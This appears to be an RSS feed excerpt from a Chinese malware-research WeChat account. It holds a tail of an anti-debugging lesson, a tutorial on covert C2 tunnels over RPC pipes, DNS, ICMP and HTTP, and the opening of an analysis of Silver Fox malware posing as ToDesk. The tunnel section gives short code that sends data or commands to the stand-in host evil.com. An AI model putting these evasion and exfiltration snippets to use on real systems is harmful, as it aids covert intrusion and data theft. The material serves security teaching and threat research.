10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span leaf="">BOOL </span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">IsDebuggerPresent_RDTSC</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    DWORD64 start = __rdtsc();</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">int</span></span><span leaf=""> x = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">100</span></span><span leaf="">; i++) {</span><span leaf=""><br/></span><span leaf="">        x += i;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    DWORD64 end = __rdtsc();</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (end - start &gt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1000</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> TRUE;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> FALSE;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3 实战案例分析</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3.1 案例1：多层级反沙箱检测</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">攻击场景：</span></strong><span leaf="">恶意软件需要确保不在沙箱环境中执行，避免被自动化分析系统检测。</span></p><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="112"></mp-pay-preview-filter></p></div>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5b99c344&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496626%26idx%3D1%26sn%3D9d3cc074e6e5708f26078938ae48576b">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 31 Mar 2026 08:31:00 +0800</pubDate>
    </item>
    <item>
      <title>通信与隧道技术——隐蔽通信通道的构建</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496625&amp;idx=1&amp;sn=9b6acb2f0a44a5a5f0718018c92d22ff</link>
      <description>一、前言概述通信与隧道技术用于建立隐蔽的通信通道，用于数据传输和命令控制。</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-03-30 08:30</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9b94d943&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FM5H82XuSHY71mjwnUw65Cfn0pv3em4Xk0FXXAApeYp22EHqqSDnqH7vY8pcG68Bm1ias1socao0FQLAlibBcKJR1vCsXEef7XdUdYqIG2w4sA%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">一、前言概述</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">通信与隧道技术用于建立隐蔽的通信通道，用于数据传输和命令控制。本课将深入介绍RPC隧道、DNS隧道、ICMP隧道和HTTP/HTTPS隧道等技术。</span></p><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">二、相关内容</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1 RPC隧道（RPC Tunneling）</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">通过RPC协议建立隐蔽的通信通道，用于数据传输和命令控制。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">技术优势：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">RPC是合法的Windows通信机制</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">不易被防火墙阻止</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">可以伪装成正常的RPC通信</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">实现方法：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// 创建命名管道</span></span><span leaf=""><br/></span><span leaf="">HANDLE hPipe = CreateNamedPipe(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;\\\\.\\pipe\\malicious_pipe&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">                                PIPE_ACCESS_DUPLEX,</span><span leaf=""><br/></span><span leaf="">                                PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,</span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1024</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1024</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">ConnectNamedPipe(hPipe, </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">);</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2 DNS隧道</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">将数据编码到DNS查询中，通过DNS协议传输数据。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">实现：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> base64</span><span leaf=""><br/></span><span leaf="">data = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;malicious_data&#34;</span></span><span leaf=""><br/></span><span leaf="">encoded = base64.b64encode(data.encode()).decode()</span><span leaf=""><br/></span><span leaf="">domain = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{encoded}</span></span><span leaf="">.evil.com&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 发送DNS查询</span></span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3 ICMP隧道</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">将数据编码到ICMP包中，通过ping命令传输数据。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">实现：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">from</span></span><span leaf=""> scapy.all </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> *</span><span leaf=""><br/></span><span leaf="">data = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;malicious_data&#34;</span></span><span leaf=""><br/></span><span leaf="">packet = IP(dst=</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;evil.com&#34;</span></span><span leaf="">)/ICMP()/Raw(load=data)</span><span leaf=""><br/></span><span leaf="">send(packet)</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.4 HTTP/HTTPS隧道</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">使用HTTP/HTTPS协议传输数据，伪装成正常的Web流量。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">实现：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> requests</span><span leaf=""><br/></span><span leaf="">data = {</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;command&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;malicious_command&#34;</span></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">response = requests.post(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;<a href="https://evil.com/api" target="_blank">https://evil.com/api</a>&#34;</span></span><span leaf="">, data=data)</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.5 实战案例分析</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.5.1 案例1：DNS隧道建立C2通信</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">攻击场景：</span></strong><span leaf="">攻击者需要在严格限制的网络环境中建立C2通信，只允许DNS查询。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">攻击过程：</span></strong></p><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><p style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">搭建DNS服务器</span></strong></p><pre style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;color: rgb(30, 107, 184);line-height: 1.8em;letter-spacing: 0em;width: auto;margin: 0px 2px;padding: 15px 4px 2px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);overflow-wrap: break-word;word-break: break-all;background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># dns_server.py</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">from</span></span><span leaf=""> dnslib </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> DNSRecord, DNSHeader, DNSQuestion</span><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="43"></mp-pay-preview-filter></p></code></pre></div></li></ol></div>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ade0d80e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496625%26idx%3D1%26sn%3D9b6acb2f0a44a5a5f0718018c92d22ff">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 30 Mar 2026 08:30:00 +0800</pubDate>
    </item>
    <item>
      <title>伪装成ToDesk网站的银狐TMD壳最新攻击样本分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496624&amp;idx=1&amp;sn=87584de7703440fedb1ec80905de290a</link>
      <description>伪装成ToDesk网站的银狐TMD壳最新攻击样本分析</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-03-29 19:00</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=599c7c47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FM5H82XuSHY49MEs7wU6uk5oibAI4GLYs9oHicKggyUiajIEh7YcXPqiaUmPwXia0aAVTiauY95dicsd7us7wNcf9EUaIsWPDzRDxF05jZ5DDZgbibmg%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>伪装成ToDesk网站的银狐TMD壳最新攻击样本分析</p>
  <div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);"><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;background-image: linear-gradient(to right, rgb(60, 191, 255) 0%, rgb(72, 118, 255) 50%, rgb(153, 53, 255) 100%);padding: 20px 0px 15px;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;width: 100%;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 0px;align-self: flex-start;box-sizing: border-box;"><div style="text-align: right;transform: translate3d(1px, 0px, 0px);-webkit-transform: translate3d(1px, 0px, 0px);-moz-transform: translate3d(1px, 0px, 0px);-o-transform: translate3d(1px, 0px, 0px);margin: 0px 0%;box-sizing: border-box;"><div style="font-size: 32px;color: rgb(255, 79, 79);text-align: center;line-height: 1;letter-spacing: 4px;padding: 0px 30px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span style="color: transparent;background-image: radial-gradient(circle at 10% 90%, rgb(255, 238, 103) 0%, rgb(255, 239, 103) 10%, rgb(255, 255, 255) 10%, rgb(255, 255, 255) 50%, rgba(255, 255, 255, 0.2) 100%);background-clip: text;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">安全分析与研究</span></strong></span></p></div></div><div style="color: rgb(255, 247, 245);font-size: 12px;letter-spacing: 9px;padding: 0px;line-height: 1;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span leaf="">专注于全球恶意软件的分析与研究</span></p></div></div></div></div><div style="margin-top: 10px;margin-bottom: 10px;text-align: left;box-sizing: border-box;"><p style="display: inline-block;box-sizing: border-box;"><span style="display: block;padding: 0.3em 0.5em;border-radius: 0.8em 0.8em 0px 0px;background-color: rgb(249, 110, 87);font-size: 14px;color: rgb(255, 255, 255);box-sizing: border-box;" title=""><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span leaf="">前言概述</span></p></span></p><div style="border: 1px solid rgb(249, 110, 87);border-radius: 0px 0px 0.8em 0.8em;padding: 10px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span leaf="">安全分析与研究，专注于全球恶意软件的分析与研究，深度追踪全球黑客组织攻击活动，欢迎大家关注，获取全球最新的黑客组织攻击事件威胁情报。</span></p><p class="mp_profile_iframe_wrp" style="text-align: justify;" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="安全分析与研究" data-alias="MalwareAnalysis" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/oibWJqH5OVmVcFgYKtoVnKR7h3pkl3AyxwS0l7iagicAJnYjEQhwIuZgR3RR65DLpJh2TGZS82DY7CjsBUmiaAl7BQ/0?wx_fmt=png" data-signature="专注于全球恶意软件的分析与研究，追踪全球黑客组织攻击活动与攻击技术" data-id="MzA4ODEyODA3MQ==" data-is_biz_ban="0" data-service_type="1" data-verify_status="1"></mp-common-profile></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span leaf="">银狐组织是一个专业从事黑灰产的攻击组织，该攻击组织此前主要针对金融、证券、教育及设计行业，该组织不仅通过使用SEO网站优化使得相关钓鱼网站搜索排名领先，然后诱导用户下载安装木马文件，还通过把木马文件伪装成各种常见的应用工具、微信聊天记录或者是与金融相关的新闻热点事件和相关教学视频等，诱骗员工点击安装木马文件，从而为后续入侵企业办公网提供入口。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span leaf="">整个银狐黑色产业链，包含有专业的恶意软件开发人员，这些恶意软件开发人员主要负责银狐免杀样本的开发、更新和运营，他们每天的任务基本上就是研究各种免杀技术，通过各种混淆加密和免杀加载方式，以逃避安全厂商的检测，这有点类似红队开发人员的工作，然后他们将这些攻击样本上传到一个类似MAAS恶意软件分发平台，再由其他一些黑产组织进行分发传播，并维护银狐黑产组织相关的基础设施，同时他们应该还有专门的诈骗运营团队，银狐工具远程控制这些受害企业之后，诈骗运营团队的工作人员，就需要对这些受害企业进行诈骗攻击，这可能是一种新型的诈骗模式吧。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span leaf="">最后就是利益分配了，这些与银狐工具相关的黑产组织形成了一个庞大的运转机构，里面分工非常明确，每个团队既相互联系，又相互独立运营，环环相扣，这就是为啥银狐会更新如此频繁，更新速度如此之快的原因，有点类似RAAS模式的勒索病毒运营，不过它比勒索病毒RAAS运营更新要快得多得多，而且最重要的原因是银狐黑产组织非常赚钱。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span leaf="">最近几年银狐类黑产团伙非常活跃，今年这些黑产团伙会更加活跃，而且仍然会不断地更新自己的攻击样本，采用各种免杀方式，逃避安全厂商的检测，此前大部分银狐黑产团伙使用各种修改版的Gh0st远控作为其攻击武器，远程控制受害者主机之后，进行相关的网络犯罪活动。除了银狐黑产团伙以外，还有一些其他黑产团伙也非常活跃，例如黑猫、GanbRun、暗蚊、金相狐、FaCai、DragonRank、夜枭、金眼狗等黑产团伙，后面有空给大家一一分享这些黑产组织最新的攻击活动。</span></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;text-align: justify;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5312820512820513" data-s="300,640" data-w="975" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" src="https://wechat2rss.xlab.app/img-proxy/?k=701c769d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FM5H82XuSHY673t30lpwPPOUKkP8A2gZhnOJHYYFyHb2R5IibUiaFUWxmGicEplicpfFUVeDBzwh47tod9xmiaF9uvg4gMeaYxw7u9PqnWLsiaZ9Ds%2F640%3Fwx_fmt%3Dpng"/></p></div><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span leaf="">笔者从2023年3月份开始深入分析和研究与银狐相关的黑产组织，差不多一年的时间跟踪分析和研究的银狐黑产相关的攻击样本有几百个，其中银狐工具变种高达30个变种，银狐黑产组织相关的基础设施有几千个。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;"><span leaf="">银狐黑产每隔一段时间都会更新自己的攻击样本，今年银狐黑产组织又对样本进行了相关更新，伪装成ToDesk钓鱼网站，样本使用Themida/Winlicense(3.XX)[Winlicense]加壳处置，文未分享样本完整威胁情报。</span></p></div></div></div><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="13"></mp-pay-preview-filter></p></div>



